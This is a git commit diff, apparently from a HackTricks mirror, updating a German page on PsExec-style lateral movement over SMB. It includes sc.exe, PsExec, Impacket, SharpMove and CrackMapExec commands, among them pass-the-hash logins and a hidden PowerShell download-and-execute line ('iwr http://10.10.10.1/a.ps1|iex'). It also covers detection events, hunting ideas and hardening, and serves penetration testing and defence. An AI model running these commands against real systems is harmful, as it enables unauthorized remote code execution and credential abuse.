mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/lateral-movement/psexec-and-winexec.m
This commit is contained in:
parent
51b5524250
commit
50cbf03cb5
@ -4,46 +4,147 @@
|
||||
|
||||
## Wie funktionieren sie
|
||||
|
||||
Der Prozess ist in den folgenden Schritten skizziert, die veranschaulichen, wie Dienst-Binärdateien manipuliert werden, um eine Remote-Ausführung auf einem Zielrechner über SMB zu erreichen:
|
||||
Diese Techniken missbrauchen den Windows Service Control Manager (SCM) remote über SMB/RPC, um Befehle auf einem Zielhost auszuführen. Der allgemeine Ablauf ist:
|
||||
|
||||
1. **Kopieren einer Dienst-Binärdatei in den ADMIN$-Freigabe über SMB** wird durchgeführt.
|
||||
2. **Erstellung eines Dienstes auf dem Remote-Rechner** erfolgt durch Verweisen auf die Binärdatei.
|
||||
3. Der Dienst wird **remote gestartet**.
|
||||
4. Nach dem Beenden wird der Dienst **gestoppt und die Binärdatei gelöscht**.
|
||||
1. Authentifizieren Sie sich am Ziel und greifen Sie auf den ADMIN$-Freigabe über SMB (TCP/445) zu.
|
||||
2. Kopieren Sie eine ausführbare Datei oder geben Sie eine LOLBAS-Befehlszeile an, die der Dienst ausführen wird.
|
||||
3. Erstellen Sie einen Dienst remote über SCM (MS-SCMR über \PIPE\svcctl), der auf diesen Befehl oder diese Binärdatei verweist.
|
||||
4. Starten Sie den Dienst, um die Payload auszuführen und optional stdin/stdout über ein benanntes Pipe zu erfassen.
|
||||
5. Stoppen Sie den Dienst und bereinigen Sie (löschen Sie den Dienst und alle abgelegten Binärdateien).
|
||||
|
||||
### **Prozess der manuellen Ausführung von PsExec**
|
||||
Anforderungen/Voraussetzungen:
|
||||
- Lokaler Administrator auf dem Ziel (SeCreateServicePrivilege) oder explizite Rechte zur Dienstcreation auf dem Ziel.
|
||||
- SMB (445) erreichbar und ADMIN$-Freigabe verfügbar; Remote Service Management durch die Host-Firewall erlaubt.
|
||||
- UAC Remote Restrictions: Bei lokalen Konten kann die Tokenfilterung die Admin-Rechte über das Netzwerk blockieren, es sei denn, es wird der integrierte Administrator oder LocalAccountTokenFilterPolicy=1 verwendet.
|
||||
- Kerberos vs NTLM: Die Verwendung eines Hostnamens/FQDN ermöglicht Kerberos; die Verbindung über IP fällt oft auf NTLM zurück (und kann in gehärteten Umgebungen blockiert sein).
|
||||
|
||||
Angenommen, es gibt eine ausführbare Payload (erstellt mit msfvenom und obfuskiert mit Veil, um die Erkennung durch Antivirenprogramme zu umgehen), benannt 'met8888.exe', die eine meterpreter reverse_http Payload darstellt, werden die folgenden Schritte unternommen:
|
||||
### Manuelles ScExec/WinExec über sc.exe
|
||||
|
||||
- **Kopieren der Binärdatei**: Die ausführbare Datei wird von einer Eingabeaufforderung in die ADMIN$-Freigabe kopiert, obwohl sie überall im Dateisystem platziert werden kann, um verborgen zu bleiben.
|
||||
- Anstelle des Kopierens der Binärdatei ist es auch möglich, eine LOLBAS-Binärdatei wie `powershell.exe` oder `cmd.exe` zu verwenden, um Befehle direkt aus den Argumenten auszuführen. Z.B. `sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]"`
|
||||
- **Erstellen eines Dienstes**: Mit dem Windows-Befehl `sc`, der das Abfragen, Erstellen und Löschen von Windows-Diensten aus der Ferne ermöglicht, wird ein Dienst namens "meterpreter" erstellt, der auf die hochgeladene Binärdatei verweist.
|
||||
- **Starten des Dienstes**: Der letzte Schritt besteht darin, den Dienst zu starten, was wahrscheinlich zu einem "Zeitüberschreitung"-Fehler führen wird, da die Binärdatei keine echte Dienst-Binärdatei ist und nicht den erwarteten Antwortcode zurückgibt. Dieser Fehler ist unerheblich, da das Hauptziel die Ausführung der Binärdatei ist.
|
||||
Das Folgende zeigt einen minimalen Ansatz zur Dienstcreation. Das Dienstbild kann eine abgelegte EXE oder ein LOLBAS wie cmd.exe oder powershell.exe sein.
|
||||
```cmd
|
||||
:: Execute a one-liner without dropping a binary
|
||||
sc.exe \\TARGET create HTSvc binPath= "cmd.exe /c whoami > C:\\Windows\\Temp\\o.txt" start= demand
|
||||
sc.exe \\TARGET start HTSvc
|
||||
sc.exe \\TARGET delete HTSvc
|
||||
|
||||
Die Beobachtung des Metasploit-Listeners wird zeigen, dass die Sitzung erfolgreich initiiert wurde.
|
||||
|
||||
[Erfahren Sie mehr über den `sc`-Befehl](https://technet.microsoft.com/en-us/library/bb490995.aspx).
|
||||
|
||||
Finden Sie detailliertere Schritte in: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
||||
|
||||
- Sie könnten auch die **Windows Sysinternals-Binärdatei PsExec.exe** verwenden:
|
||||
|
||||
.png>)
|
||||
|
||||
Oder über webddav darauf zugreifen:
|
||||
```bash
|
||||
\\live.sysinternals.com\tools\PsExec64.exe -accepteula
|
||||
:: Drop a payload to ADMIN$ and execute it (example path)
|
||||
copy payload.exe \\TARGET\ADMIN$\Temp\payload.exe
|
||||
sc.exe \\TARGET create HTSvc binPath= "C:\\Windows\\Temp\\payload.exe" start= demand
|
||||
sc.exe \\TARGET start HTSvc
|
||||
sc.exe \\TARGET delete HTSvc
|
||||
```
|
||||
- Sie könnten auch [**SharpLateral**](https://github.com/mertdas/SharpLateral) verwenden:
|
||||
Hinweise:
|
||||
- Erwarten Sie einen Timeout-Fehler beim Starten einer nicht als Dienst ausgeführten EXE; die Ausführung erfolgt dennoch.
|
||||
- Um OPSEC-freundlicher zu bleiben, bevorzugen Sie dateilose Befehle (cmd /c, powershell -enc) oder löschen Sie abgelegte Artefakte.
|
||||
|
||||
Finden Sie detailliertere Schritte in: https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/
|
||||
|
||||
## Werkzeuge und Beispiele
|
||||
|
||||
### Sysinternals PsExec.exe
|
||||
|
||||
- Klassisches Administrationswerkzeug, das SMB verwendet, um PSEXESVC.exe in ADMIN$ abzulegen, einen temporären Dienst installiert (Standardname PSEXESVC) und I/O über benannte Pipes weiterleitet.
|
||||
- Beispielverwendungen:
|
||||
```cmd
|
||||
:: Interactive SYSTEM shell on remote host
|
||||
PsExec64.exe -accepteula \\HOST -s -i cmd.exe
|
||||
|
||||
:: Run a command as a specific domain user
|
||||
PsExec64.exe -accepteula \\HOST -u DOMAIN\user -p 'Passw0rd!' cmd.exe /c whoami /all
|
||||
|
||||
:: Customize the service name for OPSEC (-r)
|
||||
PsExec64.exe -accepteula \\HOST -r WinSvc$ -s cmd.exe /c ipconfig
|
||||
```
|
||||
- Sie können direkt von Sysinternals Live über WebDAV starten:
|
||||
```cmd
|
||||
\\live.sysinternals.com\tools\PsExec64.exe -accepteula \\HOST -s cmd.exe /c whoami
|
||||
```
|
||||
OPSEC
|
||||
- Hinterlässt Ereignisse zur Installation/Deinstallation von Diensten (Der Dienstname ist oft PSEXESVC, es sei denn, -r wird verwendet) und erstellt während der Ausführung C:\Windows\PSEXESVC.exe.
|
||||
|
||||
### Impacket psexec.py (PsExec-ähnlich)
|
||||
|
||||
- Verwendet einen eingebetteten RemCom-ähnlichen Dienst. Legt eine temporäre Dienst-Binärdatei (häufig mit randomisiertem Namen) über ADMIN$ ab, erstellt einen Dienst (standardmäßig oft RemComSvc) und leitet I/O über ein benanntes Pipe weiter.
|
||||
```bash
|
||||
# Password auth
|
||||
psexec.py DOMAIN/user:Password@HOST cmd.exe
|
||||
|
||||
# Pass-the-Hash
|
||||
psexec.py -hashes LMHASH:NTHASH DOMAIN/user@HOST cmd.exe
|
||||
|
||||
# Kerberos (use tickets in KRB5CCNAME)
|
||||
psexec.py -k -no-pass -dc-ip 10.0.0.10 DOMAIN/user@host.domain.local cmd.exe
|
||||
|
||||
# Change service name and output encoding
|
||||
psexec.py -service-name HTSvc -codec utf-8 DOMAIN/user:Password@HOST powershell -nop -w hidden -c "iwr http://10.10.10.1/a.ps1|iex"
|
||||
```
|
||||
Artefakte
|
||||
- Temporäre EXE in C:\Windows\ (zufällige 8 Zeichen). Der Dienstname ist standardmäßig RemComSvc, es sei denn, er wird überschrieben.
|
||||
|
||||
### Impacket smbexec.py (SMBExec)
|
||||
|
||||
- Erstellt einen temporären Dienst, der cmd.exe startet und ein benanntes Pipe für I/O verwendet. Vermeidet im Allgemeinen das Ablegen eines vollständigen EXE-Payloads; die Befehlsausführung ist semi-interaktiv.
|
||||
```bash
|
||||
smbexec.py DOMAIN/user:Password@HOST
|
||||
smbexec.py -hashes LMHASH:NTHASH DOMAIN/user@HOST
|
||||
```
|
||||
### SharpLateral und SharpMove
|
||||
|
||||
- [SharpLateral](https://github.com/mertdas/SharpLateral) (C#) implementiert mehrere Methoden für laterale Bewegung, einschließlich servicebasiertem Exec.
|
||||
```cmd
|
||||
SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
|
||||
```
|
||||
- Sie könnten auch [**SharpMove**](https://github.com/0xthirteen/SharpMove) verwenden:
|
||||
```bash
|
||||
- [SharpMove](https://github.com/0xthirteen/SharpMove) umfasst die Modifikation/Erstellung von Diensten, um einen Befehl aus der Ferne auszuführen.
|
||||
```cmd
|
||||
SharpMove.exe action=modsvc computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true servicename=TestService
|
||||
SharpMove.exe action=startservice computername=remote.host.local servicename=TestService
|
||||
```
|
||||
- Sie könnten auch **Impacket's `psexec` und `smbexec.py`** verwenden.
|
||||
- Sie können auch CrackMapExec verwenden, um über verschiedene Backends (psexec/smbexec/wmiexec) auszuführen:
|
||||
```bash
|
||||
cme smb HOST -u USER -p PASS -x "whoami" --exec-method psexec
|
||||
cme smb HOST -u USER -H NTHASH -x "ipconfig /all" --exec-method smbexec
|
||||
```
|
||||
## OPSEC, Erkennung und Artefakte
|
||||
|
||||
Typische Host-/Netzwerkartefakte bei der Verwendung von PsExec-ähnlichen Techniken:
|
||||
- Sicherheit 4624 (Anmeldetyp 3) und 4672 (Besondere Berechtigungen) auf dem Ziel für das verwendete Administratorkonto.
|
||||
- Sicherheit 5140/5145 Datei-Freigabe- und Datei-Freigabe-Detailevents, die den Zugriff auf ADMIN$ und das Erstellen/Schreiben von Dienstbinaries (z. B. PSEXESVC.exe oder zufällige 8-Zeichen .exe) zeigen.
|
||||
- Sicherheit 7045 Dienstinstallation auf dem Ziel: Dienstnamen wie PSEXESVC, RemComSvc oder benutzerdefiniert (-r / -service-name).
|
||||
- Sysmon 1 (Prozess erstellen) für services.exe oder das Dienstbild, 3 (Netzwerkverbindung), 11 (Datei erstellen) in C:\Windows\, 17/18 (Pipe erstellt/verbunden) für Pipes wie \\.\pipe\psexesvc, \\.\pipe\remcom_*, oder randomisierte Äquivalente.
|
||||
- Registrierungsartefakt für Sysinternals EULA: HKCU\Software\Sysinternals\PsExec\EulaAccepted=0x1 auf dem Operator-Host (wenn nicht unterdrückt).
|
||||
|
||||
Jagdmöglichkeiten
|
||||
- Alarm bei Dienstinstallationen, bei denen der ImagePath cmd.exe /c, powershell.exe oder TEMP-Standorte enthält.
|
||||
- Suchen Sie nach Prozesskreationen, bei denen ParentImage C:\Windows\PSEXESVC.exe oder Kinder von services.exe, die als LOCAL SYSTEM Shells ausführen, sind.
|
||||
- Benannte Pipes, die mit -stdin/-stdout/-stderr enden oder bekannte PsExec-Klon-Pipenamen haben, kennzeichnen.
|
||||
|
||||
## Fehlersuche bei häufigen Fehlern
|
||||
- Zugriff verweigert (5) beim Erstellen von Diensten: nicht wirklich lokaler Administrator, UAC-Remote-Beschränkungen für lokale Konten oder EDR-Tampering-Schutz auf dem Dienstbinary-Pfad.
|
||||
- Der Netzwerkpfad wurde nicht gefunden (53) oder konnte nicht zu ADMIN$ verbinden: Firewall blockiert SMB/RPC oder Administrationsfreigaben sind deaktiviert.
|
||||
- Kerberos schlägt fehl, aber NTLM ist blockiert: Verbindung über Hostname/FQDN (nicht IP) herstellen, richtige SPNs sicherstellen oder -k/-no-pass mit Tickets bei der Verwendung von Impacket bereitstellen.
|
||||
- Dienststart läuft ab, aber Payload wurde ausgeführt: zu erwarten, wenn es sich nicht um ein echtes Dienstbinary handelt; Ausgabe in eine Datei erfassen oder smbexec für Live-I/O verwenden.
|
||||
|
||||
## Härtungsnotizen (moderne Änderungen)
|
||||
- Windows 11 24H2 und Windows Server 2025 erfordern standardmäßig SMB-Signierung für ausgehende (und Windows 11 eingehende) Verbindungen. Dies beeinträchtigt die legitime Verwendung von PsExec mit gültigen Anmeldeinformationen nicht, verhindert jedoch den Missbrauch von unsignierten SMB-Relay und kann Geräte beeinträchtigen, die keine Signierung unterstützen.
|
||||
- Neuer SMB-Client NTLM-Blockierung (Windows 11 24H2/Server 2025) kann NTLM-Fallback verhindern, wenn über IP oder zu Nicht-Kerberos-Servern verbunden wird. In gehärteten Umgebungen wird dies NTLM-basiertes PsExec/SMBExec brechen; verwenden Sie Kerberos (Hostname/FQDN) oder konfigurieren Sie Ausnahmen, wenn dies legitim erforderlich ist.
|
||||
- Prinzip der geringsten Privilegien: Minimieren Sie die lokale Administratormitgliedschaft, bevorzugen Sie Just-in-Time/Just-Enough Admin, erzwingen Sie LAPS und überwachen/benachrichtigen Sie über 7045-Dienstinstallationen.
|
||||
|
||||
## Siehe auch
|
||||
|
||||
- WMI-basierte Remote-Ausführung (oft mehr fileless):
|
||||
{{#ref}}
|
||||
lateral-movement/wmiexec.md
|
||||
{{#endref}}
|
||||
|
||||
- WinRM-basierte Remote-Ausführung:
|
||||
{{#ref}}
|
||||
lateral-movement/winrm.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
## Referenzen
|
||||
|
||||
- PsExec - Sysinternals | Microsoft Learn: https://learn.microsoft.com/sysinternals/downloads/psexec
|
||||
- SMB-Sicherheits-Härtung in Windows Server 2025 & Windows 11 (Standardmäßig Signierung, NTLM-Blockierung): https://techcommunity.microsoft.com/blog/filecab/smb-security-hardening-in-windows-server-2025--windows-11/4226591
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user